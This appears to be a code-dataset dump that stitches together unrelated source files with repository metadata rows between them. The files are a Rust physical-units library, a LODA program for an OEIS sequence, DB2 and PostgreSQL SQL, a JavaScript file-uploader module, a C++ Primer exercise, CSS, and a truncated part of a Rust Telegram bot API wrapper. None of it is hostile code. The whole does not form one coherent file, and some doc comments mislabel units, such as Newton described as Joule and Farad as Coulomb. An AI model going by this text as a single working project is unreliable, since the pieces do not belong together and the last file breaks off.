//! ```
//! extern crate ndarray;
//! use ndarray::Array;
//! use ndarray_unit::*;
//!
//! let arr1 = Array::linspace(30.0, 40.0, 11);
//! let arr_u1 = ArrayUnit::new(arr1, get_joule());
//!
//! let arr2 = Array::linspace(10.0, 60.0, 11);
//! let arr_u2 = ArrayUnit::new(arr2, get_second());
//!
//! // let result = &arr_u1 + &arr_u2; // ==> panicking
//! ```
#![crate_name = "ndarray_unit"]
mod unit;
pub use unit::BaseUnit;
pub use unit::Unit;
mod array_unit;
pub use array_unit::ArrayUnit;
//////////////////////////
// Getters for base units
//////////////////////////
/// Utility method to get a Unit from a BaseUnit (BaseUnit::METER)
pub fn get_meter() -> Unit {
Unit::from_vec(vec![(BaseUnit::METER, 1)])
}
/// Utility method to get a Unit from a BaseUnit (BaseUnit::SECOND)
pub fn get_second() -> Unit {
Unit::from_vec(vec![(BaseUnit::SECOND, 1)])
}
/// Utility method to get a Unit from a BaseUnit (BaseUnit::CANDELA)
pub fn get_candela() -> Unit {
Unit::from_vec(vec![(BaseUnit::CANDELA, 1)])
}
/// Utility method to get a Unit from a BaseUnit (BaseUnit::MOLE)
pub fn get_mole() -> Unit {
Unit::from_vec(vec![(BaseUnit::MOLE, 1)])
}
/// Utility method to get a Unit from a BaseUnit (BaseUnit::KELVIN)
pub fn get_kelvin() -> Unit {
Unit::from_vec(vec![(BaseUnit::KELVIN, 1)])
}
/// Utility method to get a Unit from a BaseUnit (BaseUnit::AMPERE)
pub fn get_ampere() -> Unit {
Unit::from_vec(vec![(BaseUnit::AMPERE, 1)])
}
/////////////////////////////
// Getters for other useful units
/////////////////////////////
/// Utility method to get a Unit from a BaseUnit (BaseUnit::RADIAN)
pub fn get_radian() -> Unit {
Unit::from_vec(vec![(BaseUnit::RADIAN, 1)])
}
/// Utility method to get a Unit from a BaseUnit (BaseUnit::STERADIAN)
pub fn get_steradian() -> Unit {
Unit::from_vec(vec![(BaseUnit::STERADIAN, 1)])
}
/////////////////////////////
// Getters for economics indicators
/////////////////////////////
pub fn get_currency() -> Unit {
Unit::from_vec(vec![(BaseUnit::CURRENCY, 1)])
}
pub fn get_birth() -> Unit {
Unit::from_vec(vec![(BaseUnit::BIRTH, 1)])
}
pub fn get_death() -> Unit {
Unit::from_vec(vec![(BaseUnit::DEATH, 1)])
}
pub fn get_inhabitant() -> Unit {
Unit::from_vec(vec![(BaseUnit::INHABITANT, 1)])
}
/////////////////////////////
// Getters for composed units
/////////////////////////////
/// Utility method to get the Joule Unit (composed)
pub fn get_newton() -> Unit {
Unit::from_vec(vec![
(BaseUnit::KILOGRAM, 1),
(BaseUnit::METER, 1),
(BaseUnit::SECOND, -2),
])
}
/// Utility method to get the Joule Unit (composed)
pub fn get_joule() -> Unit {
&get_newton() * &get_meter()
}
/// Utility method to get the Watt Unit (composed)
pub fn get_watt() -> Unit {
Unit::from_vec(vec![
(BaseUnit::KILOGRAM, 1),
(BaseUnit::METER, 2),
(BaseUnit::SECOND, -3),
])
}
/// Utility method to get the Volt Unit (composed)
pub fn get_volt() -> Unit {
&get_watt() * &get_ampere().get_inverse()
}
/// Utility method to get the Ohm Unit (composed)
pub fn get_ohm() -> Unit {
&get_volt() / &get_ampere()
}
/// Utility method to get the Siemens Unit (composed)
pub fn get_siemens() -> Unit {
get_ohm().get_inverse()
}
/// Utility metgod to get the Pascal Unit (composed)
pub fn get_pascal() -> Unit {
Unit::from_vec(vec![
(BaseUnit::KILOGRAM, 1),
(BaseUnit::METER, -1),
(BaseUnit::SECOND, -2),
])
}
/// Utility method to get the Coulomb Unit (composed)
pub fn get_coulomb() -> Unit {
&get_ampere() * &get_second()
}
/// Utility method to get the Coulomb Unit (composed)
pub fn get_farad() -> Unit {
&get_coulomb() / &get_volt()
}
/// Utility method to get the Henry Unit (composed)
pub fn get_henry() -> Unit {
Unit::from_vec(vec![
(BaseUnit::KILOGRAM, 1),
(BaseUnit::METER, 2),
(BaseUnit::SECOND, -2),
(BaseUnit::AMPERE, -2),
])
}
/// Utility method to get the Weber Unit (composed)
pub fn get_weber() -> Unit {
&get_volt() * &get_second()
}
/// Utility method to get the becquerel Unit (composed)
pub fn get_becquerel() -> Unit {
get_second().get_inverse()
}
/// Utility method to get the Hertz Unit (composed)
pub fn get_hertz() -> Unit {
get_second().get_inverse()
}
/// Utility method to get the Tesla Unit (composed)
pub fn get_tesla() -> Unit {
Unit::from_vec(vec![
(BaseUnit::KILOGRAM, 1),
(BaseUnit::SECOND, -2),
(BaseUnit::AMPERE, -1),
])
}
#[cfg(test)]
mod test;
| 29.496063 | 125 | 0.509744 |
0aced2f994c95e404f292dc9af5ccdb40cb09cbb
| 454 |
asm
|
Assembly
|
oeis/182/A182212.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11 |
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/182/A182212.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9 |
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/182/A182212.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3 |
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A182212: Floor(n! / Fibonacci(n)).
; Submitted by Jon Maiga
; 1,2,3,8,24,90,387,1920,10672,65978,448503,3326400,26725411,231242151,2143728472,21198368680,222722246772,2477698802526,29094738198716,359630747697951,4667544506825273,63463425429259086,902118740233973431,13380961044971520000
add $0,1
mov $1,1
mov $2,$0
seq $2,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
lpb $0
mul $1,$0
sub $0,1
lpe
div $1,$2
mov $0,$1
| 30.266667 | 226 | 0.722467 |
c014969070a67cfef04601eaec99cfbe8610a328
| 1,191 |
sql
|
SQL
|
gpff-sql/procedures/splfile/procCreateSplfile.sql
|
jestevez/portfolio-trusts-funds
|
0ec2e8431587209f7b59b55b3692ec24a84a8b78
|
[
"Apache-2.0"
] | 1 |
2019-07-02T10:01:31.000Z
|
2019-07-02T10:01:31.000Z
|
gpff-sql/procedures/splfile/procCreateSplfile.sql
|
jestevez/portfolio-trusts-funds
|
0ec2e8431587209f7b59b55b3692ec24a84a8b78
|
[
"Apache-2.0"
] | null | null | null |
gpff-sql/procedures/splfile/procCreateSplfile.sql
|
jestevez/portfolio-trusts-funds
|
0ec2e8431587209f7b59b55b3692ec24a84a8b78
|
[
"Apache-2.0"
] | 1 |
2021-04-21T18:52:59.000Z
|
2021-04-21T18:52:59.000Z
|
--DROP PROCEDURE GPSQLWEB.procCreateSplfile
CREATE PROCEDURE GPSQLWEB.procCreateSplfile
(
IN P_SPLDATA BLOB,
IN P_SPLNAME VARCHAR(255),
IN P_SPLMIME VARCHAR(100),
IN P_SPLDATE TIMESTAMP,
IN P_SPLTYPE VARCHAR(2),
IN P_SPLUSER VARCHAR(10),
IN P_SPLSTATUS VARCHAR(2),
IN P_USERNAME VARCHAR(50),
IN P_IPADDRESS VARCHAR(255),
IN P_USERAGENT VARCHAR(500),
OUT P_ID BIGINT
)
LANGUAGE SQL
BEGIN
Declare StringSQL Varchar(32000) Default '';
INSERT INTO GPSQLWEB.SPLFILE (SPLDATA ,SPLNAME ,SPLMIME ,SPLDATE ,SPLTYPE ,SPLUSER ,SPLSTATUS ) VALUES ( P_SPLDATA , P_SPLNAME , P_SPLMIME , P_SPLDATE , P_SPLTYPE , P_SPLUSER , P_SPLSTATUS );
SELECT IDENTITY_VAL_LOCAL() AS LASTID INTO P_ID FROM SYSIBM.SYSDUMMY1;
Set StringSQL = 'INSERT INTO GPSQLWEB.SPLFILE (SPLDATA ,SPLNAME ,SPLMIME ,SPLDATE ,SPLTYPE ,SPLUSER ,SPLSTATUS ) VALUES ( ''RAWDATA'' , '''|| P_SPLNAME || ''' , '''|| P_SPLMIME || ''' , '''|| VARCHAR_FORMAT(P_SPLDATE, 'YYYY-MM-DD HH24:MI:SS') || ''' , '''|| P_SPLTYPE || ''' , '''|| P_SPLUSER || ''' , '''|| P_SPLSTATUS || ''' )';
CALL GPSQLWEB.procCreateWebAudit (P_IPADDRESS, P_USERAGENT, P_USERNAME, 'Crear', 'procCreateSplfile', StringSQL);
END
GO
| 37.21875 | 336 | 0.702771 |
ead39135c1a75a50702b69d5435c79b226364a21
| 459 |
sql
|
SQL
|
qiita_db/support_files/patches/67.sql
|
smruthi98/qiita
|
8514d316670919e074a927226f985b56dba815f6
|
[
"BSD-3-Clause"
] | 96 |
2015-01-10T23:40:03.000Z
|
2021-01-04T09:07:16.000Z
|
qiita_db/support_files/patches/67.sql
|
smruthi98/qiita
|
8514d316670919e074a927226f985b56dba815f6
|
[
"BSD-3-Clause"
] | 2,304 |
2015-01-01T17:46:14.000Z
|
2021-01-07T02:38:52.000Z
|
qiita_db/support_files/patches/67.sql
|
smruthi98/qiita
|
8514d316670919e074a927226f985b56dba815f6
|
[
"BSD-3-Clause"
] | 68 |
2015-02-18T21:42:31.000Z
|
2020-12-01T19:08:57.000Z
|
-- October 6, 2018
-- add post_processing_cmd column to record additional information required to merge some BIOMS.
ALTER TABLE qiita.software_command ADD post_processing_cmd varchar;
COMMENT ON COLUMN qiita.software_command.post_processing_cmd IS 'Store information on additional post-processing steps for merged BIOMs, if any.';
-- October 25, 2018
-- add public_raw_download to study
ALTER TABLE qiita.study ADD public_raw_download bool default False;
| 38.25 | 146 | 0.819172 |
e718b44c7f6cd7284379998ff2f585f9596eddc7
| 1,153 |
js
|
JavaScript
|
js/file-uploader.js
|
massimo-cassandro/file-uploader2
|
b500dab230a8a571efff0f216f8561fd4303c9ab
|
[
"MIT"
] | 1 |
2020-01-22T11:24:28.000Z
|
2020-01-22T11:24:28.000Z
|
js/file-uploader.js
|
massimo-cassandro/file-uploader2
|
b500dab230a8a571efff0f216f8561fd4303c9ab
|
[
"MIT"
] | 22 |
2020-09-12T14:48:52.000Z
|
2022-02-26T02:03:54.000Z
|
js/file-uploader.js
|
massimo-cassandro/file-uploader2
|
b500dab230a8a571efff0f216f8561fd4303c9ab
|
[
"MIT"
] | 2 |
2020-01-22T11:24:35.000Z
|
2020-08-14T14:34:40.000Z
|
/*!@preserve
*
* FileUploader 2
* HTML5 / JS Async Uploader
* Massimo Cassandro 2017-2021
*
*/
import fupl_strings_it from './i18n/it.js';
import {default_options} from './src/default-options.js';
import {fupl_init} from './src/init.js';
export default function FileUploader( params ) {
/*
params obj => {
selector : [string] selector of fileuploader elements
options : [object] custom options
css : [string] css url
local_strs : [object] localized strings
}
*/
const _VERSION = '3.1.3';
const strs = Object.assign( {}, fupl_strings_it, params.local_strs || {} );
let opts = Object.assign( {_vers: _VERSION}, default_options, params.options || {});
// change all Mustache-Like Variables with corresponding strings
for(let i in opts) {
if(typeof opts[i] === 'string') {
opts[i] = opts[i].replace(/\{\{(.*?)\}\}/g, (match, substr) => strs[substr]);
}
}
fupl_init({
selector : params.selector || '.file-uploader2', // used in fupl_init only
css : params.css || null, // used in fupl_init only
opts : opts,
strs : strs
});
}
| 25.622222 | 86 | 0.608846 |
5b5a332271df83910e86a93ae8c7ff3f065d63d8
| 524 |
h
|
C
|
ch13/ex13_04.h
|
RisaStenr/Cpp-Primer
|
ca95db39f45bb2c6ebd62662548dd6a1d78a7fdf
|
[
"CC0-1.0"
] | null | null | null |
ch13/ex13_04.h
|
RisaStenr/Cpp-Primer
|
ca95db39f45bb2c6ebd62662548dd6a1d78a7fdf
|
[
"CC0-1.0"
] | null | null | null |
ch13/ex13_04.h
|
RisaStenr/Cpp-Primer
|
ca95db39f45bb2c6ebd62662548dd6a1d78a7fdf
|
[
"CC0-1.0"
] | null | null | null |
/*
13.4: Assuming Point is a class type with a public copy constructor,
identify each use of the copy constructor in this program fragment:
Point global;
Point foo_bar(Point arg)
{
Point local = arg, *heap = new Point(global);
*heap = local;
Point pa [ 4 ] = { local, *heap };
return *heap;
}
13.4: There are 5 uses:
1.Point local = arg
2.*heap = new Point(global);
3.Point pa [ 4 ] = { local, *heap };
4.Point pa [ 4 ] = { local, *heap };
5.return *heap;
*heap = local; is a use of the copy assignment operator.
*/
| 22.782609 | 69 | 0.660305 |
5cf509d565961b738a6a8e9fcc94622485bc7676
| 1,099 |
css
|
CSS
|
modules/core/client/css/core.css
|
goodsonwebdesign/goodsonconsulting
|
400d575dd49862e16b3a16cd5dccf63132cd977f
|
[
"MIT"
] | null | null | null |
modules/core/client/css/core.css
|
goodsonwebdesign/goodsonconsulting
|
400d575dd49862e16b3a16cd5dccf63132cd977f
|
[
"MIT"
] | null | null | null |
modules/core/client/css/core.css
|
goodsonwebdesign/goodsonconsulting
|
400d575dd49862e16b3a16cd5dccf63132cd977f
|
[
"MIT"
] | null | null | null |
.content {
margin-top: 50px;
}
.undecorated-link:hover {
text-decoration: none;
}
[ng\:cloak],
[ng-cloak],
[x-ng-cloak],
.ng-cloak,
.x-ng-cloak {
display: none !important;
}
.header-profile-image {
opacity: 0.8;
height: 28px;
width: 28px;
border-radius: 50%;
margin-right: 5px;
}
.open .header-profile-image,
a:hover .header-profile-image {
opacity: 1;
}
.user-header-dropdown-toggle {
padding-top: 11px !important;
padding-bottom: 11px !important;
}
.error-text {
display: none;
}
.has-error .help-block.error-text {
display: block;
}
.has-error .help-inline.error-text {
display: inline;
}
.page-header{
text-align:center;
padding:10px;
}
.list-area{
padding:50px;
}
.listed-article-title{
background-color:lightblue;
padding:5px;
text-align:center;
}
.list-article-body{
padding:25px;
border:1px black solid;
}
.list-group-item{
margin-top:10px;
border:1px black solid;
}
.bio{
font-size: 1.25em;
text-indent:50px
text-align: !important;
}
.bio-img{
text-align:center;
}
| 14.851351 | 36 | 0.632393 |
58ca5496dba6d6a2f0f5c8c9e6f733a9a38b03a0
| 33,326 |
rs
|
Rust
|
src/bot/api.rs
|
selevit/teloxide
|
26fa7ffd06a14e8b43947524e155a7698a2a5a94
|
[
"MIT"
] | null | null | null |
src/bot/api.rs
|
selevit/teloxide
|
26fa7ffd06a14e8b43947524e155a7698a2a5a94
|
[
"MIT"
] | null | null | null |
src/bot/api.rs
|
selevit/teloxide
|
26fa7ffd06a14e8b43947524e155a7698a2a5a94
|
[
"MIT"
] | null | null | null |
use crate::{
requests::{
json, multipart,
payloads::{
AddStickerToSet, AnswerCallbackQuery, AnswerInlineQuery,
AnswerPreCheckoutQuery, AnswerShippingQuery, CreateNewStickerSet,
DeleteChatPhoto, DeleteChatStickerSet, DeleteMessage,
DeleteStickerFromSet, DeleteWebhook, EditMessageCaption,
EditMessageCaptionInline, EditMessageLiveLocation,
EditMessageLiveLocationInline, EditMessageMedia,
EditMessageMediaInline, EditMessageReplyMarkup,
EditMessageReplyMarkupInline, EditMessageText,
EditMessageTextInline, ExportChatInviteLink, ForwardMessage,
GetChat, GetChatAdministrator, GetChatMember, GetChatMembersCount,
GetFile, GetGameHighScore, GetGameHighScoreInline, GetMe,
GetStickerSet, GetUpdates, GetUserProfilePhoto, GetWebhookInfo,
KickChatMember, LeaveChat, PinChatMessage, PromoteChatMember,
RestrictChatMember, SendAnimation, SendAudio, SendChatAction,
SendContact, SendDocument, SendGame, SendInvoice, SendLocation,
SendMediaGroup, SendMessage, SendPhoto, SendPoll, SendSticker,
SendVenue, SendVideo, SendVideoNote, SendVoice,
SetChatAdministratorCustomTitle, SetChatDescription,
SetChatPermission, SetChatPhoto, SetChatStickerSet, SetChatTitle,
SetGameScore, SetGameScoreInline, SetStickerPositionInSet,
SetWebhook, StopMessageLiveLocation, StopMessageLiveLocationInline,
StopPoll, UnbanChatMember, UnpinChatMessage, UploadStickerFile,
},
},
types::{
ChatId, ChatPermissions, InlineQueryResult, InputFile, InputMedia,
LabeledPrice,
},
Bot,
};
impl Bot {
/// For tg-method documentation see [`GetUpdate`]
///
/// [`GetUpdate`]: crate::requests::payloads::GetUpdate
pub fn get_updates(&self) -> json::Request<GetUpdates> {
json::Request::new(self, GetUpdates::new())
}
/// For tg-method documentation see [`SetWebhook`]
///
/// [`SetWebhook`]: crate::requests::payloads::SetWebhook
pub fn set_webhook<U>(&self, url: U) -> json::Request<SetWebhook>
where
U: Into<String>,
{
json::Request::new(self, SetWebhook::new(url))
}
/// For tg-method documentation see [`DeleteWebhook`]
///
/// [`DeleteWebhook`]: crate::requests::payloads::DeleteWebhook
pub fn delete_webhook(&self) -> json::Request<DeleteWebhook> {
json::Request::new(self, DeleteWebhook::new())
}
/// For tg-method documentation see [`GetWebhookInfo`]
///
/// [`GetWebhookInfo`]: crate::requests::payloads::GetWebhookInfo
pub fn get_webhook_info(&self) -> json::Request<GetWebhookInfo> {
json::Request::new(self, GetWebhookInfo::new())
}
/// For tg-method documentation see [`GetMe`]
///
/// [`GetMe`]: crate::requests::payloads::GetMe
pub fn get_me(&self) -> json::Request<GetMe> {
json::Request::new(self, GetMe::new())
}
/// For tg-method documentation see [`SendMessage`]
///
/// [`SendMessage`]: crate::requests::payloads::SendMessage
pub fn send_message<C, T>(
&self,
chat_id: C,
text: T,
) -> json::Request<SendMessage>
where
C: Into<ChatId>,
T: Into<String>,
{
json::Request::new(self, SendMessage::new(chat_id, text))
}
/// For tg-method documentation see [`ForwardMessage`]
///
/// [`ForwardMessage`]: crate::requests::payloads::ForwardMessage
pub fn forward_message<C, F>(
&self,
chat_id: C,
from_chat_id: F,
message_id: i32,
) -> json::Request<ForwardMessage>
where
C: Into<ChatId>,
F: Into<ChatId>,
{
json::Request::new(
self,
ForwardMessage::new(chat_id, from_chat_id, message_id),
)
}
/// For tg-method documentation see [`SendPhoto`]
///
/// [`SendPhoto`]: crate::requests::payloads::SendPhoto
pub fn send_photo<C, P>(
&self,
chat_id: C,
photo: P,
) -> multipart::Request<SendPhoto>
where
C: Into<ChatId>,
P: Into<InputFile>,
{
multipart::Request::new(self, SendPhoto::new(chat_id, photo))
}
/// For tg-method documentation see [`SendAudio`]
///
/// [`SendAudio`]: crate::requests::payloads::SendAudio
pub fn send_audio<C, A>(
&self,
chat_id: C,
audio: A,
) -> multipart::Request<SendAudio>
where
C: Into<ChatId>,
A: Into<InputFile>,
{
multipart::Request::new(self, SendAudio::new(chat_id, audio))
}
/// For tg-method documentation see [`SendDocument`]
///
/// [`SendDocument`]: crate::requests::payloads::SendDocument
pub fn send_document<C, D>(
&self,
chat_id: C,
document: D,
) -> multipart::Request<SendDocument>
where
C: Into<ChatId>,
D: Into<InputFile>,
{
multipart::Request::new(self, SendDocument::new(chat_id, document))
}
/// For tg-method documentation see [`SendVideo`]
///
/// [`SendVideo`]: crate::requests::payloads::SendVideo
pub fn send_video<C, V>(
&self,
chat_id: C,
video: V,
) -> multipart::Request<SendVideo>
where
C: Into<ChatId>,
V: Into<InputFile>,
{
multipart::Request::new(self, SendVideo::new(chat_id, video))
}
/// For tg-method documentation see [`SendAnimation`]
///
/// [`SendAnimation`]: crate::requests::payloads::SendAnimation
pub fn send_animation<C>(
&self,
chat_id: C,
animation: InputFile,
) -> multipart::Request<SendAnimation>
where
C: Into<ChatId>,
{
multipart::Request::new(self, SendAnimation::new(chat_id, animation))
}
/// For tg-method documentation see [`SendVoice`]
///
/// [`SendVoice`]: crate::requests::payloads::SendVoice
pub fn send_voice<C, V>(
&self,
chat_id: C,
voice: V,
) -> multipart::Request<SendVoice>
where
C: Into<ChatId>,
V: Into<InputFile>,
{
multipart::Request::new(self, SendVoice::new(chat_id, voice))
}
/// For tg-method documentation see [`SendVideoNote`]
///
/// [`SendVideoNote`]: crate::requests::payloads::SendVideoNote
pub fn send_video_note<C, V>(
&self,
chat_id: C,
video_note: V,
) -> multipart::Request<SendVideoNote>
where
C: Into<ChatId>,
V: Into<InputFile>,
{
multipart::Request::new(self, SendVideoNote::new(chat_id, video_note))
}
/// For tg-method documentation see [`SendMediaGroup`]
///
/// [`SendMediaGroup`]: crate::requests::payloads::SendMediaGroup
pub fn send_media_group<C, M>(
&self,
chat_id: C,
media: M,
) -> multipart::Request<SendMediaGroup>
where
C: Into<ChatId>,
M: Into<Vec<InputMedia>>,
{
multipart::Request::new(self, SendMediaGroup::new(chat_id, media))
}
/// For tg-method documentation see [`SendLocation`]
///
/// [`SendLocation`]: crate::requests::payloads::SendLocation
pub fn send_location<C>(
&self,
chat_id: C,
latitude: f32,
longitude: f32,
) -> json::Request<SendLocation>
where
C: Into<ChatId>,
{
json::Request::new(
self,
SendLocation::new(chat_id, latitude, longitude),
)
}
/// For tg-method documentation see [`EditMessageLiveLocationInline`]
///
/// [`EditMessageLiveLocationInline`]:
/// crate::requests::payloads::EditMessageLiveLocationInline
pub fn edit_message_live_location_inline<I>(
&self,
inline_message_id: I,
latitude: f32,
longitude: f32,
) -> json::Request<EditMessageLiveLocationInline>
where
I: Into<String>,
{
json::Request::new(
self,
EditMessageLiveLocationInline::new(
inline_message_id,
latitude,
longitude,
),
)
}
/// For tg-method documentation see [`EditMessageLiveLocation`]
///
/// [`EditMessageLiveLocation`]:
/// crate::requests::payloads::EditMessageLiveLocation
pub fn edit_message_live_location<C>(
&self,
chat_id: C,
message_id: i32,
latitude: f32,
longitude: f32,
) -> json::Request<EditMessageLiveLocation>
where
C: Into<ChatId>,
{
json::Request::new(
self,
EditMessageLiveLocation::new(
chat_id, message_id, latitude, longitude,
),
)
}
/// For tg-method documentation see [`StopMessageLiveLocationInline`]
///
/// [`StopMessageLiveLocationInline`]:
/// crate::requests::payloads::StopMessageLiveLocationInline
pub fn stop_message_live_location_inline<I>(
&self,
inline_message_id: I,
) -> json::Request<StopMessageLiveLocationInline>
where
I: Into<String>,
{
json::Request::new(
self,
StopMessageLiveLocationInline::new(inline_message_id),
)
}
/// For tg-method documentation see [`StopMessageLiveLocation`]
///
/// [`StopMessageLiveLocation`]:
/// crate::requests::payloads::StopMessageLiveLocation
pub fn stop_message_live_location<C>(
&self,
chat_id: C,
message_id: i32,
) -> json::Request<StopMessageLiveLocation>
where
C: Into<ChatId>,
{
json::Request::new(
self,
StopMessageLiveLocation::new(chat_id, message_id),
)
}
/// For tg-method documentation see [`SendVenue`]
///
/// [`SendVenue`]: crate::requests::payloads::SendVenue
pub fn send_venue<C, T, A>(
&self,
chat_id: C,
latitude: f32,
longitude: f32,
title: T,
address: A,
) -> json::Request<SendVenue>
where
C: Into<ChatId>,
T: Into<String>,
A: Into<String>,
{
json::Request::new(
self,
SendVenue::new(chat_id, latitude, longitude, title, address),
)
}
/// For tg-method documentation see [`SendContact`]
///
/// [`SendContact`]: crate::requests::payloads::SendContact
pub fn send_contact<C, P, F>(
&self,
chat_id: C,
phone_number: P,
first_name: F,
) -> json::Request<SendContact>
where
C: Into<ChatId>,
P: Into<String>,
F: Into<String>,
{
json::Request::new(
self,
SendContact::new(chat_id, phone_number, first_name),
)
}
/// For tg-method documentation see [`SendPoll`]
///
/// [`SendPoll`]: crate::requests::payloads::SendPoll
pub fn send_poll<C, Q, O>(
&self,
chat_id: C,
question: Q,
options: O,
) -> json::Request<SendPoll>
where
C: Into<ChatId>,
Q: Into<String>,
O: Into<Vec<String>>,
{
json::Request::new(self, SendPoll::new(chat_id, question, options))
}
/// For tg-method documentation see [`SendChatAction`]
///
/// [`SendChatAction`]: crate::requests::payloads::SendChatAction
pub fn send_chat_action<C, A>(
&self,
chat_id: C,
action: A,
) -> json::Request<SendChatAction>
where
C: Into<ChatId>,
A: Into<String>,
{
json::Request::new(self, SendChatAction::new(chat_id, action))
}
/// For tg-method documentation see [`GetUserProfilePhoto`]
///
/// [`GetUserProfilePhoto`]: crate::requests::payloads::GetUserProfilePhoto
pub fn get_user_profile_photos(
&self,
user_id: i32,
) -> json::Request<GetUserProfilePhoto> {
json::Request::new(self, GetUserProfilePhoto::new(user_id))
}
/// For tg-method documentation see [`GetFile`]
///
/// [`GetFile`]: crate::requests::payloads::GetFile
pub fn get_file<F>(&self, file_id: F) -> json::Request<GetFile>
where
F: Into<String>,
{
json::Request::new(self, GetFile::new(file_id))
}
/// For tg-method documentation see [`KickChatMember`]
///
/// [`KickChatMember`]: crate::requests::payloads::KickChatMember
pub fn kick_chat_member<C>(
&self,
chat_id: C,
user_id: i32,
) -> json::Request<KickChatMember>
where
C: Into<ChatId>,
{
json::Request::new(self, KickChatMember::new(chat_id, user_id))
}
/// For tg-method documentation see [`UnbanChatMember`]
///
/// [`UnbanChatMember`]: crate::requests::payloads::UnbanChatMember
pub fn unban_chat_member<C>(
&self,
chat_id: C,
user_id: i32,
) -> json::Request<UnbanChatMember>
where
C: Into<ChatId>,
{
json::Request::new(self, UnbanChatMember::new(chat_id, user_id))
}
/// For tg-method documentation see [`RestrictChatMember`]
///
/// [`RestrictChatMember`]: crate::requests::payloads::RestrictChatMember
pub fn restrict_chat_member<C>(
&self,
chat_id: C,
user_id: i32,
permissions: ChatPermissions,
) -> json::Request<RestrictChatMember>
where
C: Into<ChatId>,
{
json::Request::new(
self,
RestrictChatMember::new(chat_id, user_id, permissions),
)
}
/// For tg-method documentation see [`PromoteChatMember`]
///
/// [`PromoteChatMember`]: crate::requests::payloads::PromoteChatMember
pub fn promote_chat_member<C>(
&self,
chat_id: C,
user_id: i32,
) -> json::Request<PromoteChatMember>
where
C: Into<ChatId>,
{
json::Request::new(self, PromoteChatMember::new(chat_id, user_id))
}
/// For tg-method documentation see [`SetChatPermission`]
///
/// [`SetChatPermission`]: crate::requests::payloads::SetChatPermission
pub fn set_chat_permissions<C>(
&self,
chat_id: C,
permissions: ChatPermissions,
) -> json::Request<SetChatPermission>
where
C: Into<ChatId>,
{
json::Request::new(self, SetChatPermission::new(chat_id, permissions))
}
/// For tg-method documentation see [`ExportChatInviteLink`]
///
/// [`ExportChatInviteLink`]:
/// crate::requests::payloads::ExportChatInviteLink
pub fn export_chat_invite_link<C>(
&self,
chat_id: C,
) -> json::Request<ExportChatInviteLink>
where
C: Into<ChatId>,
{
json::Request::new(self, ExportChatInviteLink::new(chat_id))
}
/// For tg-method documentation see [`SetChatPhoto`]
///
/// [`SetChatPhoto`]: crate::requests::payloads::SetChatPhoto
pub fn set_chat_photo<C>(
&self,
chat_id: C,
photo: InputFile,
) -> json::Request<SetChatPhoto>
where
C: Into<ChatId>,
{
json::Request::new(self, SetChatPhoto::new(chat_id, photo))
}
/// For tg-method documentation see [`DeleteChatPhoto`]
///
/// [`DeleteChatPhoto`]: crate::requests::payloads::DeleteChatPhoto
pub fn delete_chat_photo<C>(
&self,
chat_id: C,
) -> json::Request<DeleteChatPhoto>
where
C: Into<ChatId>,
{
json::Request::new(self, DeleteChatPhoto::new(chat_id))
}
/// For tg-method documentation see [`SetChatTitle`]
///
/// [`SetChatTitle`]: crate::requests::payloads::SetChatTitle
pub fn set_chat_title<C, T>(
&self,
chat_id: C,
title: T,
) -> json::Request<SetChatTitle>
where
C: Into<ChatId>,
T: Into<String>,
{
json::Request::new(self, SetChatTitle::new(chat_id, title))
}
/// For tg-method documentation see [`SetChatDescription`]
///
/// [`SetChatDescription`]: crate::requests::payloads::SetChatDescription
pub fn set_chat_description<C>(
&self,
chat_id: C,
) -> json::Request<SetChatDescription>
where
C: Into<ChatId>,
{
json::Request::new(self, SetChatDescription::new(chat_id))
}
/// For tg-method documentation see [`PinChatMessage`]
///
/// [`PinChatMessage`]: crate::requests::payloads::PinChatMessage
pub fn pin_chat_message<C>(
&self,
chat_id: C,
message_id: i32,
) -> json::Request<PinChatMessage>
where
C: Into<ChatId>,
{
json::Request::new(self, PinChatMessage::new(chat_id, message_id))
}
/// For tg-method documentation see [`UnpinChatMessage`]
///
/// [`UnpinChatMessage`]: crate::requests::payloads::UnpinChatMessage
pub fn unpin_chat_message<C>(
&self,
chat_id: C,
) -> json::Request<UnpinChatMessage>
where
C: Into<ChatId>,
{
json::Request::new(self, UnpinChatMessage::new(chat_id))
}
/// For tg-method documentation see [`LeaveChat`]
///
/// [`LeaveChat`]: crate::requests::payloads::LeaveChat
pub fn leave_chat<C>(&self, chat_id: C) -> json::Request<LeaveChat>
where
C: Into<ChatId>,
{
json::Request::new(self, LeaveChat::new(chat_id))
}
/// For tg-method documentation see [`GetChat`]
///
/// [`GetChat`]: crate::requests::payloads::GetChat
pub fn get_chat<C>(&self, chat_id: C) -> json::Request<GetChat>
where
C: Into<ChatId>,
{
json::Request::new(self, GetChat::new(chat_id))
}
/// For tg-method documentation see [`GetChatAdministrator`]
///
/// [`GetChatAdministrator`]:
/// crate::requests::payloads::GetChatAdministrator
pub fn get_chat_administrators<C>(
&self,
chat_id: C,
) -> json::Request<GetChatAdministrator>
where
C: Into<ChatId>,
{
json::Request::new(self, GetChatAdministrator::new(chat_id))
}
/// For tg-method documentation see [`GetChatMembersCount`]
///
/// [`GetChatMembersCount`]: crate::requests::payloads::GetChatMembersCount
pub fn get_chat_members_count<C>(
&self,
chat_id: C,
) -> json::Request<GetChatMembersCount>
where
C: Into<ChatId>,
{
json::Request::new(self, GetChatMembersCount::new(chat_id))
}
/// For tg-method documentation see [`GetChatMember`]
///
/// [`GetChatMember`]: crate::requests::payloads::GetChatMember
pub fn get_chat_member<C>(
&self,
chat_id: C,
user_id: i32,
) -> json::Request<GetChatMember>
where
C: Into<ChatId>,
{
json::Request::new(self, GetChatMember::new(chat_id, user_id))
}
/// For tg-method documentation see [`SetChatStickerSet`]
///
/// [`SetChatStickerSet`]: crate::requests::payloads::SetChatStickerSet
pub fn set_chat_sticker_set<C, S>(
&self,
chat_id: C,
sticker_set_name: S,
) -> json::Request<SetChatStickerSet>
where
C: Into<ChatId>,
S: Into<String>,
{
json::Request::new(
self,
SetChatStickerSet::new(chat_id, sticker_set_name),
)
}
